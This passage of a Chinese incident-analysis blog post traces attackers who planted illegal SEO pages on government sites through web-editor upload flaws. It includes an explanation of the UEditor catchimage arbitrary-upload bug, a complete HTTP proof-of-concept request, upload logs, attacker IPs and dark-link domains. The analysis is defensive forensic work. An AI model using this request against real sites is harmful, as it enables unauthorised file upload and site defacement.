首页 > IT基础架构 > 网络安全 > 溯源黑帽利用 Web 编辑器漏洞非法植入 SEO 页面事件
girl
-----------------------------29373750073747171394011132748-- HTTP/1.1 200 OK Date: Fri, 10 Jul 2020 02:18:42 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 112 ``` ##### 3.4 UEditor 编辑器文件上传漏洞分析 UEditor 1.4.3.3 的.NET语言版本存在任意文件上传漏洞。因为编辑器上传接口暴露:`/ueditor/net/controller.ashx?action=catchimage`,网站开发人员未对其进行安全设置,造成任意文件上传漏洞。 在UEditor 中有一个上传逻辑部分的controller.php文件,如下所示: ``` date_default_timezone_set("Asia/chongqing"); error_reporting(E_ERROR); header("Content-Type: text/html; charset=utf-8"); $CONFIG = json_decode(preg_replace("/\/*[\s\S]+?*\//", "", file_get_contents("config.json")), true); $action = $_GET['action']; switch ($action) { case 'config': $result = json_encode($CONFIG); break; / 上传图片 / case 'uploadimage': / 上传涂鸦 / case 'uploadscrawl': / 上传视频 / case 'uploadvideo': / 上传文件 / case 'uploadfile': $result = include("action_upload.php"); break; / 列出图片 / case 'listimage': $result = include("action_list.php"); break; / 列出文件 / case 'listfile': $result = include("action_list.php"); break; / 抓取远程文件 / case 'catchimage': $result = include("action_crawler.php"); break; default: $result = json_encode(array( 'state'=> '请求地址出错' )); break; } ``` 每当抓取远程数据源时,都会进入“catchimage”分支,而Crawler方法对source[]的检查仅仅是一个ContentType: ``` if (response.ContentType.IndexOf("image") == -1) { State = "Url is not an image"; return this; } ``` 因此,恶意用户就可以通过构造以下代码上传任意文件,POC如下所示: ``` POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1 Host: www.*.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 41 Connection: close Upgrade-Insecure-Requests: 1 source%5B%5D=http%3A%2F%2Fwww.*.com HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Date: Thu, 09 Jul 2020 06:38:58 GMT Connection: close Content-Length: 105 {"state":"SUCCESS","list":[{"state":"Url is not an image","source":"http://www.*.com","url":null}]} ``` #### 4. IP分析 从知道创宇云安全CDN数据中抽取6月28日的日志记录,统计因编辑器漏洞导致上传次数大于10次的异常IP: | IP | 地理位置 | 上传次数 | | ----------- | -------- | -------- | | 106.115.x.x | 河北 | 96 | | 80.251.x.x | 美国 | 90 | | 104.233.x.x | 日本 | 30 | | 58.216.x.x | 江苏 | 30 | | 112.53.x.x | 江苏 | 24 | | 218.4.x.x | 江苏 | 13 | | 119.180.x.x | 山东 | 10 | 抽取了一个6月活跃的IP,节选的片段如下所示: ``` 2020-06-28 16:11:18 58.216.*.* jggw.*.gov.cn /api.php?op=upload_json&dir=image 2020-06-28 11:40:12 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image 2020-06-28 15:48:56 58.216.*.* ql.*.org.cn /api.php?op=upload_json&dir=image 2020-06-28 15:49:11 58.216.*.* ql.*.org.cn /api.php?op=upload_json&dir=image 2020-06-28 17:04:47 58.216.*.* jyj.*.gov.cn /api.php?op=upload_json&dir=file 2020-06-28 11:04:33 58.216.*.* ciip.*.gov.cn /api.php?op=upload_json&dir=image 2020-06-28 11:37:09 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image 2020-06-28 11:37:13 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image 2020-06-28 11:37:17 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image 2020-06-28 11:37:20 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image 2020-06-28 16:30:20 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image 2020-06-28 16:31:17 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image 2020-06-28 16:39:01 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image 2020-06-28 16:39:12 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image 2020-06-28 12:08:24 58.216.*.* jyj.*.gov.cn /api.php?op=upload_json&dir=image 2020-06-28 12:08:36 58.216.*.* jyj.*.gov.cn /api.php?op=upload_json&dir=image 2020-06-28 16:49:55 58.216.*.* gxj.*.gov.cn /api.php?op=upload_json&dir=file 2020-06-28 16:51:03 58.216.*.* zfhcxjsj.*.gov.cn /api.php?op=upload_json&dir=image 2020-06-28 16:51:10 58.216.*.* zfhcxjsj.*.gov.cn /api.php?op=upload_json&dir=image 2020-06-28 16:51:18 58.216.*.* zfhcxjsj.*.gov.cn /api.php?op=upload_json&dir=image ``` 有着相同的规律:每5秒到10秒就发送一次POST非法SEO页面请求,且该IP在三天内没有一次访问过受害网站,因此可以判断***利用非法工具对网站进行了批量上传页面操作。 #### 5. ***溯源 经分析,这些网站都有共同存在的暗链: | 链接 | 描述 | | ----------------------- | ---------------------------- | | www.ikaidian.net/css.js | 恶意伪造虚假八卦消息的网站 | | www.htmljpg.com | 外表小说网站其实暗链综合网站 | | www.113112.xyz | 存储大量se情图片的网站 | www.ikaidian.net/css.js 截图如下: 
来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/69912109/viewspace-2705204/ ,如需转载,请注明出处,否则将追究法律责任。
注册时间:2019-03-04